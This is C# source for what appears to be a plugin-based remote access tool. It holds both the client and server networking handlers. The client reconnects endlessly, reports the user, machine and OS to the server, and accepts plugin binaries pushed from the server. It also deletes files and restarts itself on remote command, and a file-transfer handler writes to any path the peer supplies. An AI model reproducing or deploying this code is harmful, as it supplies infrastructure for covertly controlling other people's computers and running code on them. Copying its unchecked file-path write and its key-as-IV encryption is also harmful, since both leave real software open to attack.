public MLClientData(Guid _id, eSock.Server.eSockClient _socket)
{
Settings = new ClientSettings();
ID = _id;
Handshaken = false;
PluginsVerified = false;
ClientSocket = _socket;
}
static void _client_OnDataRetrieved(eSock.Client sender, object[] data)
{
byte header = (byte) data[0];
if (header == (byte)PacketHeader.FileTransferResponce)
{
FileHandle = (int)data[1];
}
}
static void _server_OnDataRetrieved(eSock.Server sender, eSock.Server.eSockClient client, object[] data)
{
PacketHeader header = (PacketHeader) (byte)data[0];
if (header == PacketHeader.StartFileTransfer)
{
int _fHandle = Handle;
lock (_server)
{
while (FileHandles.ContainsKey(_fHandle))
{
_fHandle = ++Handle;
}
}
FileHandles.Add(_fHandle, new FileStream((string)data[1], FileMode.Create));
client.Send((byte)PacketHeader.FileTransferResponce, _fHandle);
}
if (header == PacketHeader.FileTransferBlock)
{
int _fhandle = (int) data[1];
byte[] block = (byte[]) data[2];
bool finalBlock = (bool) data[3];
if (!FileHandles.ContainsKey(_fhandle))
return;
FileHandles[_fhandle].Write(block, 0, block.Length);
if (finalBlock)
{
FileHandles[_fhandle].Close();
FileHandles[_fhandle].Dispose();
FileHandles.Remove(_fhandle);
lock (_server)
{
if (Handle > _fhandle)
Handle = _fhandle;
}
}
}
}
static void _client_OnDisconnect(eSock.Client sender, System.Net.Sockets.SocketError ER)
{
Connected = false;
}
static void networkClient_OnDisconnect(eSock.Client sender, System.Net.Sockets.SocketError ER)
{
foreach (var plugin in LoadedPlugins)
{
MLClientPlugin _plugin = plugin.Value;
try
{
_plugin.ClientPlugin.OnDisconnect();
}
catch(Exception ex)
{
DisplayException(_plugin, ex);
}
}
Console.WriteLine("Lost connection...");
Thread.Sleep(5000);
Connect();
}
static void networkClient_OnDataRetrieved(eSock.Client sender, object[] data)
{
try
{
Guid ID = (Guid)data[0];
if (ID == Guid.Empty)
{
var command = (NetworkPacket) data[1];
if (command == (byte)NetworkPacket.Restart)
{
Console.WriteLine("Restarting...");
//Console.ReadLine();
Process.Start(Assembly.GetExecutingAssembly().Location);
Environment.Exit(0);
}
if (command == NetworkPacket.DeletePlugin)
{
Guid PluginID = (Guid)data[2];
if(LoadedPlugins.ContainsKey(PluginID))
{
Console.WriteLine("Deleting plugin {0}", PluginID.ToString("n"));
File.Delete(LoadedPlugins[PluginID].Path);
}
}
if (command == NetworkPacket.UpdatePlugin)
{
Guid PluginID = (Guid) data[2];
byte[] Block = (byte[]) data[3];
bool FinalBlock = (bool) data[4];
if (!PluginUpdates.ContainsKey(PluginID))
{
Rijndael rij = new RijndaelManaged();
string encString = Guid.NewGuid().ToString("n");
byte[] encryptionKey = eSock.Hashing.MD5Hash(encString);
rij.Key = encryptionKey;
rij.IV = encryptionKey;
ICryptoTransform crypto = rij.CreateEncryptor();
FileStream update =
new FileStream(
Path.Combine(PluginBaseLocation,
string.Format("{0}.{1}", PluginID.ToString("n"), encString)), FileMode.Create);
CryptoStream updateStream = new CryptoStream(update, crypto, CryptoStreamMode.Write);
PluginUpdates[PluginID] = updateStream;
Console.WriteLine("Started update for plugin id {0}", PluginID.ToString("n"));
if (LoadedPlugins.ContainsKey(PluginID))
{
File.Delete(LoadedPlugins[PluginID].Path);
}
}
Console.WriteLine("Plugin block ({0} bytes) recieved. ID: {1}", Block.Length, PluginID.ToString("n"));
PluginUpdates[PluginID].Write(Block, 0, Block.Length);
if (FinalBlock)
{
PluginUpdates[PluginID].Flush();
PluginUpdates[PluginID].Close();
PluginUpdates[PluginID].Dispose();
PluginUpdates.Remove(PluginID);
Console.WriteLine("Finished update for plugin id {0}", PluginID.ToString("n"));
}
}
if(command == NetworkPacket.PluginsVerified)
{
/*
Dictionary<string, object> Settings = new Dictionary<string, object>()
{
{"Username", string.Format("{0}/{1}", Environment.UserName, Environment.MachineName)},
{"OS", Environment.OSVersion.ToString() },
{"Cores", Environment.ProcessorCount.ToString() },
{"Path", Assembly.GetExecutingAssembly().Location }
};
networkClient.SendWait(Guid.Empty, (byte)NetworkPacket.UpdateSettingsDictionary, Settings);
networkClient.SendWait(Guid.Empty, (byte)NetworkPacket.BasicSettingsUpdated);
*/
networkClient.Send(Guid.Empty, (byte)NetworkPacket.UpdateSetting, "Username", string.Format("{0}/{1}", Environment.UserName, Environment.MachineName));
networkClient.Send(Guid.Empty, (byte)NetworkPacket.UpdateSetting, "OS", Environment.OSVersion.ToString());
networkClient.Send(Guid.Empty, (byte)NetworkPacket.UpdateSetting, "Cores", Environment.ProcessorCount.ToString());
networkClient.Send(Guid.Empty, (byte)NetworkPacket.BasicSettingsUpdated);
}
if (command == NetworkPacket.Connect)
{
networkClient.Encryption.Key = (string)data[2];
networkClient.Encryption.Enabled = true;
Console.WriteLine("Encryption Enabled: {0}", networkClient.Encryption.Enabled);
Console.WriteLine("Encryption key set ({0})", networkClient.Encryption.Key);
SendChecksums();
}
}
if (LoadedPlugins.ContainsKey(ID))
{
try
{
LoadedPlugins[ID].ClientPlugin.OnDataRecieved((object[])data[1]);
}
catch(Exception ex)
{
DisplayException(LoadedPlugins[ID], ex);
}
}
}
catch(Exception ex)
{
DisplayException(null, ex);
}
}
private static void NetworkClient_OnConnect(eSock.Client sender, bool success)
{
if (success)
{
Console.WriteLine("Connected!");
foreach (var plugin in LoadedPlugins)
{
MLClientPlugin _plugin = plugin.Value;
try
{
_plugin.ClientPlugin.OnConnect();
}
catch (Exception ex)
{
DisplayException(_plugin, ex);
}
}
networkClient.Send(Guid.Empty, (byte)NetworkPacket.Handshake);
Console.WriteLine("handshake sent");
}
else
{
Console.WriteLine("Failed to connect.");
Thread.Sleep(5000);
Connect();
}
}
static void _server_OnClientDisconnect(eSock.Server sender, eSock.Server.eSockClient client, System.Net.Sockets.SocketError ER)
{
Console.WriteLine("Client disconnected");
}
static void _server_OnClientConnect(eSock.Server sender, eSock.Server.eSockClient client)
{
Console.WriteLine("Client connected");
}
void UpdatePlugin(eSock.Server.eSockClient client, Guid ID)
{
try
{
byte[] buffer = new byte[2000];
int bytesRead = 0;
using (MemoryStream _pluginUpdate = new MemoryStream(LoadedPlugins[ID].ClientPluginBytes))
{
while ((bytesRead = _pluginUpdate.Read(buffer, 0, buffer.Length)) > 0)
{
byte[] Packet = new byte[bytesRead];
Array.Copy(buffer, 0, Packet, 0, bytesRead);
client.Send(Guid.Empty, (byte)NetworkPacket.UpdatePlugin, ID, Packet,
_pluginUpdate.Position == _pluginUpdate.Length);
Thread.Sleep(100);
}
}
}
catch (Exception ex)
{
if (LoadedPlugins.ContainsKey(ID))
DisplayException(LoadedPlugins[ID], ex);
else
DisplayException(null, ex);
}
}
void NetworkServer_OnDataRetrieved(eSock.Server sender, eSock.Server.eSockClient client, object[] data)
{
lock (client)
{
try
{
MLClientData _ClientData = (MLClientData) client.Tag;
Guid PluginID = (Guid) data[0];
if (PluginID == Guid.Empty)
{
NetworkPacket command = (NetworkPacket)data[1];
Debug.WriteLine(command, "Command");
if (!_ClientData.Handshaken)
{
if (command == NetworkPacket.Handshake)
{
_ClientData.Handshaken = true;
_ClientData.Encryption.GenerateRandomKey();
client.Send(Guid.Empty, (byte)NetworkPacket.Connect, _ClientData.Encryption.Key);
_ClientData.Encryption.Enabled = true;
return;
}
return;
}
if(command == NetworkPacket.BasicSettingsUpdated)
{
Debug.WriteLine("Basic settings updated", "Settings");
ListViewItem i = new ListViewItem(_ClientData.Settings.GetSetting<string>("Username", "Default"));
i.Tag = _ClientData;
i.SubItems.Add(client.NetworkSocket.RemoteEndPoint.ToString());
i.SubItems.Add(_ClientData.Settings.GetSetting<string>("OS", "WinX Lollypop (Unknowen)"));
i.SubItems.Add(_ClientData.Settings.GetSetting<string>("Cores", "0"));
_ClientData.DisplayObject = i;
AddListview(i);
foreach (var plugin in LoadedPlugins)
{
try
{
plugin.Value.ServerPlugin.OnClientConnect(new MLClient(_ClientData.ID, plugin.Value.ClientPluginID, _ClientData));
}
catch (Exception ex)
{
DisplayException(plugin.Value, ex);
}
}
}
if(command == NetworkPacket.UpdateSetting)
{
string settingName = (string)data[2];
object value = data[3];
_ClientData.Settings.UpdateSetting(settingName, value);
Debug.WriteLine(string.Format("Updated {0}", settingName), "Settings");
}
if(command == NetworkPacket.UpdateSettingsDictionary)
{
var settings = (Dictionary< string, object>)data[2];
foreach(var dcItem in settings)
{
_ClientData.Settings.UpdateSetting(dcItem.Key, dcItem.Value);
}
}
#region " Plugin Checksum "
if (command == NetworkPacket.Checksums)
{
bool Updated = false;
Dictionary<Guid, string> Checksums = (Dictionary<Guid, string>)data[2];
if (Checksums == null)
{
foreach (var plugin in LoadedPlugins)
{
Guid ID = plugin.Key;
UpdatePlugin(client, ID);
Thread.Sleep(100);
Updated = true;
}
return;
}
foreach (var plugin in Checksums)
{
Guid ID = plugin.Key;
string checksum = plugin.Value;
if (!LoadedPlugins.ContainsKey(ID))
{
client.Send(Guid.Empty, (byte)NetworkPacket.DeletePlugin, ID);
Updated = true;
continue;
}
if (LoadedPlugins[ID].ClientPluginChecksum!= checksum)
{
UpdatePlugin(client, ID);
Thread.Sleep(100);
Updated = true;
}
}
foreach (var plugin in LoadedPlugins)
{
Guid ID = plugin.Key;
MLPlugin PluginData = plugin.Value;
if (!Checksums.ContainsKey(ID))
{
UpdatePlugin(client, ID);
Thread.Sleep(100);
Updated = true;
}
}
if (Updated)
client.Send(Guid.Empty, (byte)NetworkPacket.Restart);
else
client.Send(Guid.Empty, (byte)NetworkPacket.PluginsVerified);
_ClientData.PluginsVerified = true;
}
#endregion
return;
}
if (LoadedPlugins.ContainsKey(PluginID))
{
LoadedPlugins[PluginID].ServerPlugin.OnDataRetrieved(new MLClient(_ClientData.ID, PluginID,
_ClientData), (object[]) data[1]);
}
}
catch(Exception ex)
{
DisplayException(null, ex);
}
}
}
void NetworkServer_OnClientDisconnect(eSock.Server sender, eSock.Server.eSockClient client, System.Net.Sockets.SocketError ER)
{
MLClientData _ClientData = (MLClientData)client.Tag;
RemoveListView((ListViewItem)_ClientData.DisplayObject);
if (ConnectedClients.ContainsKey(_ClientData.ID))
ConnectedClients.Remove(_ClientData.ID);
foreach (var plugin in LoadedPlugins)
{
try
{
plugin.Value.ServerPlugin.OnClientDisconnect(new MLClient(_ClientData.ID,
plugin.Value.ClientPluginID,
_ClientData));
}
catch(Exception ex)
{
DisplayException(plugin.Value, ex);
}
}
}
bool NetworkServer_OnClientConnecting(eSock.Server sender, System.Net.Sockets.Socket cSock)
{
return true;
}
void NetworkServer_OnClientConnect(eSock.Server sender, eSock.Server.eSockClient client)
{
MLClientData _ClientData = new MLClientData(GetUniqueID(), client);
ConnectedClients.Add(_ClientData.ID, _ClientData);
client.Tag = _ClientData;
}
